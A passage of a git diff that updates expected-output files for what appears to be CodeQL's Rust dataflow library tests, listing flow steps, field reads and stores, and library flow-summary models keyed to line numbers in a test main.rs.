+| main.rs:492:27:492:35 | vs.iter(...) | main.rs:492:27:492:35 | receiver for vs.iter(...) |
 | main.rs:492:27:492:45 | ... .collect(...) | main.rs:492:9:492:11 | vs2 |
 | main.rs:493:10:493:10 | [SSA] v | main.rs:494:14:494:14 | v |
 | main.rs:493:10:493:10 | v | main.rs:493:10:493:10 | [SSA] v |
 | main.rs:493:10:493:10 | v | main.rs:493:10:493:10 | v |
+| main.rs:497:5:497:6 | [post] receiver for vs | main.rs:497:5:497:6 | [post] vs |
 | main.rs:497:5:497:6 | [post] vs | main.rs:498:5:498:6 | vs |
+| main.rs:497:5:497:6 | vs | main.rs:497:5:497:6 | receiver for vs |
 | main.rs:497:5:497:6 | vs | main.rs:498:5:498:6 | vs |
+| main.rs:497:5:497:13 | [post] receiver for vs.iter(...) | main.rs:497:5:497:13 | [post] vs.iter(...) |
+| main.rs:497:5:497:13 | vs.iter(...) | main.rs:497:5:497:13 | receiver for vs.iter(...) |
 | main.rs:497:20:497:20 | ... | main.rs:497:20:497:20 | x |
 | main.rs:497:20:497:20 | [SSA] x | main.rs:497:29:497:29 | x |
 | main.rs:497:20:497:20 | x | main.rs:497:20:497:20 | [SSA] x |
 | main.rs:497:20:497:20 | x | main.rs:497:20:497:20 | x |
+| main.rs:498:5:498:6 | [post] receiver for vs | main.rs:498:5:498:6 | [post] vs |
 | main.rs:498:5:498:6 | [post] vs | main.rs:500:14:500:15 | vs |
+| main.rs:498:5:498:6 | vs | main.rs:498:5:498:6 | receiver for vs |
 | main.rs:498:5:498:6 | vs | main.rs:500:14:500:15 | vs |
+| main.rs:498:5:498:13 | [post] receiver for vs.iter(...) | main.rs:498:5:498:13 | [post] vs.iter(...) |
+| main.rs:498:5:498:13 | vs.iter(...) | main.rs:498:5:498:13 | receiver for vs.iter(...) |
 | main.rs:498:25:498:25 | ... | main.rs:498:25:498:25 | x |
 | main.rs:498:25:498:25 | [SSA] x | main.rs:498:34:498:34 | x |
 | main.rs:498:25:498:25 | x | main.rs:498:25:498:25 | [SSA] x |
@@ -713,12 +783,43 @@ localStep
 | main.rs:500:9:500:9 | [SSA] v | main.rs:501:14:501:14 | v |
 | main.rs:500:9:500:9 | v | main.rs:500:9:500:9 | [SSA] v |
 | main.rs:500:9:500:9 | v | main.rs:500:9:500:9 | v |
+| main.rs:500:14:500:15 | [post] receiver for vs | main.rs:500:14:500:15 | [post] vs |
+| main.rs:500:14:500:15 | vs | main.rs:500:14:500:15 | receiver for vs |
 | main.rs:504:9:504:18 | mut vs_mut | main.rs:504:13:504:18 | vs_mut |
+| main.rs:504:13:504:18 | [SSA] vs_mut | main.rs:506:10:506:15 | vs_mut |
+| main.rs:504:13:504:18 | vs_mut | main.rs:504:13:504:18 | [SSA] vs_mut |
 | main.rs:504:22:504:42 | [...] | main.rs:504:9:504:18 | mut vs_mut |
+| main.rs:506:10:506:15 | [post] vs_mut | main.rs:507:11:507:16 | [SSA] vs_mut |
+| main.rs:506:10:506:15 | [post] vs_mut | main.rs:507:11:507:16 | vs_mut |
+| main.rs:506:10:506:15 | vs_mut | main.rs:507:11:507:16 | [SSA] vs_mut |
+| main.rs:506:10:506:15 | vs_mut | main.rs:507:11:507:16 | vs_mut |
+| main.rs:507:11:507:16 | [SSA] vs_mut | main.rs:508:11:508:16 | [SSA] vs_mut |
+| main.rs:507:11:507:16 | [SSA] vs_mut | main.rs:508:11:508:16 | vs_mut |
+| main.rs:507:11:507:16 | [post] receiver for vs_mut | main.rs:507:11:507:16 | [post] vs_mut |
+| main.rs:507:11:507:16 | [post] vs_mut | main.rs:508:11:508:16 | [SSA] vs_mut |
+| main.rs:507:11:507:16 | [post] vs_mut | main.rs:508:11:508:16 | vs_mut |
+| main.rs:507:11:507:16 | vs_mut | main.rs:507:11:507:16 | receiver for vs_mut |
+| main.rs:507:11:507:16 | vs_mut | main.rs:508:11:508:16 | [SSA] vs_mut |
+| main.rs:507:11:507:16 | vs_mut | main.rs:508:11:508:16 | vs_mut |
+| main.rs:507:11:507:23 | [post] receiver for vs_mut.iter(...) | main.rs:507:11:507:23 | [post] vs_mut.iter(...) |
+| main.rs:507:11:507:23 | vs_mut.iter(...) | main.rs:507:11:507:23 | receiver for vs_mut.iter(...) |
+| main.rs:507:11:507:30 | ... .next(...) | main.rs:507:11:507:30 | receiver for ... .next(...) |
+| main.rs:507:11:507:30 | [post] receiver for ... .next(...) | main.rs:507:11:507:30 | [post] ... .next(...) |
+| main.rs:508:11:508:16 | [SSA] vs_mut | main.rs:510:19:510:24 | vs_mut |
+| main.rs:508:11:508:16 | [post] receiver for vs_mut | main.rs:508:11:508:16 | [post] vs_mut |
+| main.rs:508:11:508:16 | [post] vs_mut | main.rs:510:19:510:24 | vs_mut |
+| main.rs:508:11:508:16 | vs_mut | main.rs:508:11:508:16 | receiver for vs_mut |
+| main.rs:508:11:508:16 | vs_mut | main.rs:510:19:510:24 | vs_mut |
+| main.rs:508:11:508:23 | [post] receiver for vs_mut.iter(...) | main.rs:508:11:508:23 | [post] vs_mut.iter(...) |
+| main.rs:508:11:508:23 | vs_mut.iter(...) | main.rs:508:11:508:23 | receiver for vs_mut.iter(...) |
+| main.rs:508:11:508:30 | ... .nth(...) | main.rs:508:11:508:30 | receiver for ... .nth(...) |
+| main.rs:508:11:508:30 | [post] receiver for ... .nth(...) | main.rs:508:11:508:30 | [post] ... .nth(...) |
 | main.rs:510:5:512:5 | for ... in ... { ... } | main.rs:478:16:513:1 | { ... } |
 | main.rs:510:14:510:14 | [SSA] v | main.rs:511:14:511:14 | v |
 | main.rs:510:14:510:14 | v | main.rs:510:14:510:14 | [SSA] v |
 | main.rs:510:14:510:14 | v | main.rs:510:14:510:14 | v |
+| main.rs:510:19:510:24 | [post] receiver for vs_mut | main.rs:510:19:510:24 | [post] vs_mut |
+| main.rs:510:19:510:24 | vs_mut | main.rs:510:19:510:24 | receiver for vs_mut |
 | main.rs:516:9:516:9 | [SSA] a | main.rs:521:10:521:10 | a |
 | main.rs:516:9:516:9 | a | main.rs:516:9:516:9 | [SSA] a |
 | main.rs:516:9:516:9 | a | main.rs:516:9:516:9 | a |
@@ -737,8 +838,29 @@ localStep
 | main.rs:519:17:519:18 | &c | main.rs:519:9:519:13 | c_ref |
 | main.rs:523:14:523:18 | [post] c_ref | main.rs:524:11:524:15 | c_ref |
 | main.rs:523:14:523:18 | c_ref | main.rs:524:11:524:15 | c_ref |
-| main.rs:551:13:551:33 | result_questionmark(...) | main.rs:551:9:551:9 | _ |
-| main.rs:563:36:563:41 | ...::new(...) | main.rs:563:36:563:41 | MacroExpr |
+| main.rs:528:9:528:9 | [SSA] a | main.rs:530:10:530:10 | a |
+| main.rs:528:9:528:9 | a | main.rs:528:9:528:9 | [SSA] a |
+| main.rs:528:9:528:9 | a | main.rs:528:9:528:9 | a |
+| main.rs:528:18:528:27 | source(...) | main.rs:528:9:528:9 | a |
+| main.rs:530:10:530:10 | [post] a | main.rs:531:10:531:10 | a |
+| main.rs:530:10:530:10 | a | main.rs:531:10:531:10 | a |
+| main.rs:531:10:531:10 | [post] a | main.rs:532:20:532:20 | a |
+| main.rs:531:10:531:10 | [post] receiver for a | main.rs:531:10:531:10 | [post] a |
+| main.rs:531:10:531:10 | a | main.rs:531:10:531:10 | receiver for a |
+| main.rs:531:10:531:10 | a | main.rs:532:20:532:20 | a |
+| main.rs:534:9:534:9 | [SSA] b | main.rs:536:10:536:10 | b |
+| main.rs:534:9:534:9 | b | main.rs:534:9:534:9 | [SSA] b |
+| main.rs:534:9:534:9 | b | main.rs:534:9:534:9 | b |
+| main.rs:534:18:534:34 | ... as i32 | main.rs:534:9:534:9 | b |
+| main.rs:536:10:536:10 | [post] b | main.rs:537:10:537:10 | b |
+| main.rs:536:10:536:10 | b | main.rs:537:10:537:10 | b |
+| main.rs:537:10:537:10 | [post] b | main.rs:538:20:538:20 | b |
+| main.rs:537:10:537:10 | [post] receiver for b | main.rs:537:10:537:10 | [post] b |
+| main.rs:537:10:537:10 | b | main.rs:537:10:537:10 | receiver for b |
+| main.rs:537:10:537:10 | b | main.rs:538:20:538:20 | b |
+| main.rs:565:13:565:33 | result_questionmark(...) | main.rs:565:9:565:9 | _ |
+| main.rs:577:36:577:41 | ...::new(...) | main.rs:577:36:577:41 | MacroExpr |
+| main.rs:577:36:577:41 | [post] MacroExpr | main.rs:577:36:577:41 | [post] ...::new(...) |
 models
 | 1 | Sink: lang:std; crate::io::stdio::_print; log-injection; Argument[0] |
 | 2 | Summary: lang:alloc; <&&str as crate::string::SpecToString>::spec_to_string; Argument[self].Reference.Reference; ReturnValue; value |
@@ -2056,6 +2178,7 @@ storeStep
 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::<crate::result::Result>::or_else | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<crate::result::Result>::or_else |
 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::<str>::parse | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<str>::parse |
 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::<&[u8] as crate::io::BufRead>::fill_buf | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<&[u8] as crate::io::BufRead>::fill_buf |
+| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::<crate::path::Path>::canonicalize | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<crate::path::Path>::canonicalize |
 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::<crate::sync::poison::condvar::Condvar>::wait | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<crate::sync::poison::condvar::Condvar>::wait |
 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::<crate::sync::poison::condvar::Condvar>::wait_timeout | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<crate::sync::poison::condvar::Condvar>::wait_timeout |
 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::<crate::sync::poison::condvar::Condvar>::wait_timeout_ms | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<crate::sync::poison::condvar::Condvar>::wait_timeout_ms |
@@ -2070,6 +2193,7 @@ storeStep
 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::<crate::response::Response>::chunk | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::<crate::response::Response>::chunk |
 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::<crate::response::Response>::text | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::<crate::response::Response>::text |
 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::<crate::response::Response>::text_with_charset | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::<crate::response::Response>::text_with_charset |
+| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/servo/rust-url:url::_::<crate::Url>::parse | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/servo/rust-url:url::_::<crate::Url>::parse |
 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in lang:alloc::_::<crate::collections::btree::node::NodeRef>::search_tree_for_bifurcation | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::<crate::collections::btree::node::NodeRef>::search_tree_for_bifurcation |
 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in lang:std::_::<crate::sync::poison::condvar::Condvar>::wait_timeout | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::<crate::sync::poison::condvar::Condvar>::wait_timeout |
 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in lang:std::_::<crate::sync::poison::condvar::Condvar>::wait_timeout_ms | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::<crate::sync::poison::condvar::Condvar>::wait_timeout_ms |
@@ -2175,6 +2299,7 @@ storeStep
 | main.rs:137:38:137:38 | 2 | Point.y | main.rs:137:13:137:40 | Point {...} |
 | main.rs:143:28:143:36 | source(...) | Point.x | main.rs:143:17:143:44 | Point {...} |
 | main.rs:143:42:143:42 | 2 | Point.y | main.rs:143:17:143:44 | Point {...} |
+| main.rs:145:11:145:20 | source(...) | Point.y | main.rs:145:5:145:5 | [post] p |
 | main.rs:151:12:151:21 | source(...) | Point.x | main.rs:150:13:153:5 | Point {...} |
 | main.rs:152:12:152:12 | 2 | Point.y | main.rs:150:13:153:5 | Point {...} |
 | main.rs:166:16:169:9 | Point {...} | Point3D.plane | main.rs:165:13:171:5 | Point3D {...} |
@@ -2245,7 +2370,7 @@ storeStep
 | main.rs:504:41:504:41 | 4 | element | main.rs:504:22:504:42 | [...] |
 | main.rs:519:18:519:18 | c | &ref | main.rs:519:17:519:18 | &c |
 | main.rs:522:15:522:15 | b | &ref | main.rs:522:14:522:15 | &b |
-| main.rs:531:27:531:27 | 0 | Some | main.rs:531:22:531:28 | Some(...) |
+| main.rs:545:27:545:27 | 0 | Some | main.rs:545:22:545:28 | Some(...) |
 readStep
 | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::<crate::boxed::Box>::allocator | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[0].Field[1] in lang:alloc::_::<crate::boxed::Box>::allocator |
 | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::<crate::boxed::Box>::as_mut_ptr | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::<crate::boxed::Box>::as_mut_ptr |
@@ -2347,6 +2472,8 @@ readStep
 | file://:0:0:0:0 | [summary param] 0 in lang:std::_::crate::sys_common::ignore_notfound | Err | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Err(0)] in lang:std::_::crate::sys_common::ignore_notfound |
 | file://:0:0:0:0 | [summary param] 0 in lang:std::_::crate::thread::current::try_with_current | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::crate::thread::current::try_with_current |
 | file://:0:0:0:0 | [summary param] 0 in lang:std::_::crate::thread::with_current_name | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::crate::thread::with_current_name |
+| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rust-lang/regex:regex::_::crate::escape | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/rust-lang/regex:regex::_::crate::escape |
+| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/servo/rust-url:url::_::<crate::Url>::parse | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/servo/rust-url:url::_::<crate::Url>::parse |
 | file://:0:0:0:0 | [summary param] 1 in lang:alloc::_::<crate::vec::into_iter::IntoIter as crate::iter::traits::iterator::Iterator>::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:alloc::_::<crate::vec::into_iter::IntoIter as crate::iter::traits::iterator::Iterator>::fold |
 | file://:0:0:0:0 | [summary param] 1 in lang:alloc::_::crate::collections::btree::mem::replace | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:alloc::_::crate::collections::btree::mem::replace |
 | file://:0:0:0:0 | [summary param] 1 in lang:alloc::_::crate::collections::btree::mem::take_mut | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:alloc::_::crate::collections::btree::mem::take_mut |
@@ -2809,13 +2936,25 @@ readStep
 | main.rs:124:10:124:10 | b | tuple.0 | main.rs:124:10:124:12 | b.0 |
 | main.rs:124:10:124:12 | b.0 | tuple.1 | main.rs:124:10:124:15 | ... .1 |
 | main.rs:125:10:125:10 | b | tuple.1 | main.rs:125:10:125:12 | b.1 |
+| main.rs:138:10:138:10 | p | Point.x | main.rs:138:10:138:12 | p.x |
+| main.rs:139:10:139:10 | p | Point.y | main.rs:139:10:139:12 | p.y |
+| main.rs:144:10:144:10 | p | Point.y | main.rs:144:10:144:12 | p.y |
+| main.rs:145:5:145:5 | p | Point.y | main.rs:145:5:145:7 | p.y |
+| main.rs:146:10:146:10 | p | Point.y | main.rs:146:10:146:12 | p.y |
 | main.rs:154:9:154:28 | Point {...} | Point.x | main.rs:154:20:154:20 | a |
 | main.rs:154:9:154:28 | Point {...} | Point.y | main.rs:154:26:154:26 | b |
+| main.rs:172:10:172:10 | p | Point3D.plane | main.rs:172:10:172:16 | p.plane |
+| main.rs:172:10:172:16 | p.plane | Point.x | main.rs:172:10:172:18 | ... .x |
+| main.rs:173:10:173:10 | p | Point3D.plane | main.rs:173:10:173:16 | p.plane |
+| main.rs:173:10:173:16 | p.plane | Point.y | main.rs:173:10:173:18 | ... .y |
+| main.rs:174:10:174:10 | p | Point3D.z | main.rs:174:10:174:12 | p.z |
 | main.rs:184:9:187:9 | Point3D {...} | Point3D.plane | main.rs:185:20:185:33 | Point {...} |
 | main.rs:184:9:187:9 | Point3D {...} | Point3D.z | main.rs:186:13:186:13 | z |
 | main.rs:185:20:185:33 | Point {...} | Point.x | main.rs:185:28:185:28 | x |
 | main.rs:185:20:185:33 | Point {...} | Point.y | main.rs:185:31:185:31 | y |
+| main.rs:199:10:199:10 | s | MyTupleStruct(0) | main.rs:199:10:199:12 | s.0 |
 | main.rs:199:10:199:10 | s | tuple.0 | main.rs:199:10:199:12 | s.0 |
+| main.rs:200:10:200:10 | s | MyTupleStruct(1) | main.rs:200:10:200:12 | s.1 |
 | main.rs:200:10:200:10 | s | tuple.1 | main.rs:200:10:200:12 | s.1 |
 | main.rs:203:9:203:27 | MyTupleStruct(...) | MyTupleStruct(0) | main.rs:203:23:203:23 | x |
 | main.rs:203:9:203:27 | MyTupleStruct(...) | MyTupleStruct(1) | main.rs:203:26:203:26 | y |
@@ -2823,16 +2962,33 @@ readStep
 | main.rs:221:9:221:23 | ...::Some(...) | Some | main.rs:221:22:221:22 | n |
 | main.rs:230:9:230:15 | Some(...) | Some | main.rs:230:14:230:14 | n |
 | main.rs:234:9:234:15 | Some(...) | Some | main.rs:234:14:234:14 | n |
+| main.rs:241:10:241:11 | s1 | &ref | main.rs:241:10:241:11 | receiver for s1 |
+| main.rs:246:10:246:11 | s1 | &ref | main.rs:246:10:246:11 | receiver for s1 |
+| main.rs:249:10:249:11 | s2 | &ref | main.rs:249:10:249:11 | receiver for s2 |
+| main.rs:254:10:254:11 | s1 | &ref | main.rs:254:10:254:11 | receiver for s1 |
+| main.rs:257:10:257:11 | s2 | &ref | main.rs:257:10:257:11 | receiver for s2 |
 | main.rs:263:14:263:15 | s1 | Ok | main.rs:263:14:263:16 | TryExpr |
 | main.rs:263:14:263:15 | s1 | Some | main.rs:263:14:263:16 | TryExpr |
 | main.rs:265:10:265:11 | s2 | Ok | main.rs:265:10:265:12 | TryExpr |
 | main.rs:265:10:265:11 | s2 | Some | main.rs:265:10:265:12 | TryExpr |
+| main.rs:271:29:271:30 | r1 | &ref | main.rs:271:29:271:30 | receiver for r1 |
+| main.rs:272:29:272:30 | r1 | &ref | main.rs:272:29:272:30 | receiver for r1 |
+| main.rs:273:10:273:12 | o1a | &ref | main.rs:273:10:273:12 | receiver for o1a |
+| main.rs:274:10:274:12 | o1b | &ref | main.rs:274:10:274:12 | receiver for o1b |
+| main.rs:277:29:277:30 | r2 | &ref | main.rs:277:29:277:30 | receiver for r2 |
+| main.rs:278:29:278:30 | r2 | &ref | main.rs:278:29:278:30 | receiver for r2 |
+| main.rs:279:10:279:12 | o2a | &ref | main.rs:279:10:279:12 | receiver for o2a |
+| main.rs:280:10:280:12 | o2b | &ref | main.rs:280:10:280:12 | receiver for o2b |
 | main.rs:287:14:287:15 | s1 | Ok | main.rs:287:14:287:16 | TryExpr |
 | main.rs:287:14:287:15 | s1 | Some | main.rs:287:14:287:16 | TryExpr |
 | main.rs:288:14:288:15 | s2 | Ok | main.rs:288:14:288:16 | TryExpr |
 | main.rs:288:14:288:15 | s2 | Some | main.rs:288:14:288:16 | TryExpr |
 | main.rs:291:14:291:15 | s3 | Ok | main.rs:291:14:291:16 | TryExpr |
 | main.rs:291:14:291:15 | s3 | Some | main.rs:291:14:291:16 | TryExpr |
+| main.rs:298:10:298:11 | s1 | &ref | main.rs:298:10:298:11 | receiver for s1 |
+| main.rs:299:10:299:11 | s1 | &ref | main.rs:299:10:299:11 | receiver for s1 |
+| main.rs:302:10:302:11 | s2 | &ref | main.rs:302:10:302:11 | receiver for s2 |
+| main.rs:303:10:303:11 | s2 | &ref | main.rs:303:10:303:11 | receiver for s2 |
 | main.rs:315:9:315:25 | ...::A(...) | A | main.rs:315:24:315:24 | n |
 | main.rs:316:9:316:25 | ...::B(...) | B | main.rs:316:24:316:24 | n |
 | main.rs:319:9:319:25 | ...::A(...) | A | main.rs:319:24:319:24 | n |
@@ -2872,22 +3028,40 @@ readStep
 | main.rs:442:9:442:20 | TuplePat | tuple.0 | main.rs:442:10:442:13 | cond |
 | main.rs:442:9:442:20 | TuplePat | tuple.1 | main.rs:442:16:442:19 | name |
 | main.rs:442:25:442:29 | names | element | main.rs:442:9:442:20 | TuplePat |
+| main.rs:444:21:444:24 | name | &ref | main.rs:444:21:444:24 | receiver for name |
 | main.rs:444:41:444:67 | [post] \|...\| ... | captured default_name | main.rs:444:41:444:67 | [post] default_name |
+| main.rs:444:44:444:55 | default_name | &ref | main.rs:444:44:444:55 | receiver for default_name |
 | main.rs:444:44:444:55 | this | captured default_name | main.rs:444:44:444:55 | default_name |
+| main.rs:445:18:445:18 | n | &ref | main.rs:445:18:445:18 | receiver for n |
+| main.rs:468:13:468:13 | a | &ref | main.rs:468:13:468:13 | receiver for a |
+| main.rs:469:13:469:13 | b | &ref | main.rs:469:13:469:13 | receiver for b |
+| main.rs:470:19:470:19 | b | &ref | main.rs:470:19:470:19 | receiver for b |
 | main.rs:481:10:481:11 | vs | element | main.rs:481:10:481:14 | vs[0] |
+| main.rs:482:11:482:12 | vs | &ref | main.rs:482:11:482:12 | receiver for vs |
 | main.rs:482:11:482:35 | ... .unwrap(...) | &ref | main.rs:482:10:482:35 | * ... |
+| main.rs:483:11:483:12 | vs | &ref | main.rs:483:11:483:12 | receiver for vs |
 | main.rs:483:11:483:35 | ... .unwrap(...) | &ref | main.rs:483:10:483:35 | * ... |
 | main.rs:485:14:485:15 | vs | element | main.rs:485:9:485:9 | v |
 | main.rs:488:9:488:10 | &... | &ref | main.rs:488:10:488:10 | v |
+| main.rs:488:15:488:16 | vs | &ref | main.rs:488:15:488:16 | receiver for vs |
 | main.rs:488:15:488:23 | vs.iter(...) | element | main.rs:488:9:488:10 | &... |
+| main.rs:492:27:492:28 | vs | &ref | main.rs:492:27:492:28 | receiver for vs |
 | main.rs:493:9:493:10 | &... | &ref | main.rs:493:10:493:10 | v |
 | main.rs:493:15:493:17 | vs2 | element | main.rs:493:9:493:10 | &... |
+| main.rs:497:5:497:6 | vs | &ref | main.rs:497:5:497:6 | receiver for vs |
 | main.rs:497:29:497:29 | x | &ref | main.rs:497:28:497:29 | * ... |
+| main.rs:498:5:498:6 | vs | &ref | main.rs:498:5:498:6 | receiver for vs |
 | main.rs:498:34:498:34 | x | &ref | main.rs:498:33:498:34 | * ... |
+| main.rs:500:14:500:15 | vs | &ref | main.rs:500:14:500:15 | receiver for vs |
 | main.rs:500:14:500:27 | vs.into_iter(...) | element | main.rs:500:9:500:9 | v |
 | main.rs:506:10:506:15 | vs_mut | element | main.rs:506:10:506:18 | vs_mut[0] |
+| main.rs:507:11:507:16 | vs_mut | &ref | main.rs:507:11:507:16 | receiver for vs_mut |
 | main.rs:507:11:507:39 | ... .unwrap(...) | &ref | main.rs:507:10:507:39 | * ... |
+| main.rs:508:11:508:16 | vs_mut | &ref | main.rs:508:11:508:16 | receiver for vs_mut |
 | main.rs:508:11:508:39 | ... .unwrap(...) | &ref | main.rs:508:10:508:39 | * ... |
 | main.rs:510:9:510:14 | &mut ... | &ref | main.rs:510:14:510:14 | v |
+| main.rs:510:19:510:24 | vs_mut | &ref | main.rs:510:19:510:24 | receiver for vs_mut |
 | main.rs:510:19:510:35 | vs_mut.iter_mut(...) | element | main.rs:510:9:510:14 | &mut ... |
 | main.rs:524:11:524:15 | c_ref | &ref | main.rs:524:10:524:15 | * ... |
+| main.rs:531:10:531:10 | a | &ref | main.rs:531:10:531:10 | receiver for a |
+| main.rs:537:10:537:10 | b | &ref | main.rs:537:10:537:10 | receiver for b |
diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql
index b082800864c7..6d81896d2291 100644
--- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql
+++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql
@@ -8,7 +8,7 @@ private module Tm = TranslateModels<provenance/1>;
 
 query predicate models = Tm::models/2;
 
-query predicate localStep(Node nodeFrom, Node nodeTo) {
+query predicate localStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
   // Local flow steps that don't originate from a flow summary.
   RustDataFlow::simpleLocalFlowStep(nodeFrom, nodeTo, "")
 }
diff --git a/rust/ql/test/library-tests/dataflow/local/inline-flow.expected b/rust/ql/test/library-tests/dataflow/local/inline-flow.expected
index f0febc3b71d6..b69ba66b625f 100644
--- a/rust/ql/test/library-tests/dataflow/local/inline-flow.expected
+++ b/rust/ql/test/library-tests/dataflow/local/inline-flow.expected
@@ -1,13 +1,14 @@
 models
-| 1 | Summary: lang:core; <crate::option::Option>::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value |
-| 2 | Summary: lang:core; <crate::option::Option>::unwrap_or; Argument[0]; ReturnValue; value |
-| 3 | Summary: lang:core; <crate::option::Option>::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value |
-| 4 | Summary: lang:core; <crate::option::Option>::unwrap_or_else; Argument[0].ReturnValue; ReturnValue; value |
-| 5 | Summary: lang:core; <crate::option::Option>::unwrap_or_else; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value |
-| 6 | Summary: lang:core; <crate::result::Result>::err; Argument[self].Field[crate::result::Result::Err(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value |
-| 7 | Summary: lang:core; <crate::result::Result>::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value |
-| 8 | Summary: lang:core; <crate::result::Result>::expect_err; Argument[self].Field[crate::result::Result::Err(0)]; ReturnValue; value |
-| 9 | Summary: lang:core; <crate::result::Result>::ok; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value |
+| 1 | Summary: lang:core; <_ as crate::convert::From>::from; Argument[0]; ReturnValue; value |
+| 2 | Summary: lang:core; <crate::option::Option>::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value |
+| 3 | Summary: lang:core; <crate::option::Option>::unwrap_or; Argument[0]; ReturnValue; value |
+| 4 | Summary: lang:core; <crate::option::Option>::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value |
+| 5 | Summary: lang:core; <crate::option::Option>::unwrap_or_else; Argument[0].ReturnValue; ReturnValue; value |
+| 6 | Summary: lang:core; <crate::option::Option>::unwrap_or_else; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value |
+| 7 | Summary: lang:core; <crate::result::Result>::err; Argument[self].Field[crate::result::Result::Err(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value |
+| 8 | Summary: lang:core; <crate::result::Result>::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value |
+| 9 | Summary: lang:core; <crate::result::Result>::expect_err; Argument[self].Field[crate::result::Result::Err(0)]; ReturnValue; value |
+| 10 | Summary: lang:core; <crate::result::Result>::ok; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value |
 edges
 | main.rs:22:9:22:9 | s | main.rs:23:10:23:10 | s | provenance |  |
 | main.rs:22:13:22:21 | source(...) | main.rs:22:9:22:9 | s | provenance |  |
@@ -46,11 +47,24 @@ edges
 | main.rs:122:14:122:14 | a [tuple.1] | main.rs:122:13:122:18 | TupleExpr [tuple.0, tuple.1] | provenance |  |
 | main.rs:124:10:124:10 | b [tuple.0, tuple.1] | main.rs:124:10:124:12 | b.0 [tuple.1] | provenance |  |
 | main.rs:124:10:124:12 | b.0 [tuple.1] | main.rs:124:10:124:15 | ... .1 | provenance |  |
+| main.rs:137:9:137:9 | p [Point.x] | main.rs:138:10:138:10 | p [Point.x] | provenance |  |
+| main.rs:137:13:137:40 | Point {...} [Point.x] | main.rs:137:9:137:9 | p [Point.x] | provenance |  |
+| main.rs:137:24:137:32 | source(...) | main.rs:137:13:137:40 | Point {...} [Point.x] | provenance |  |
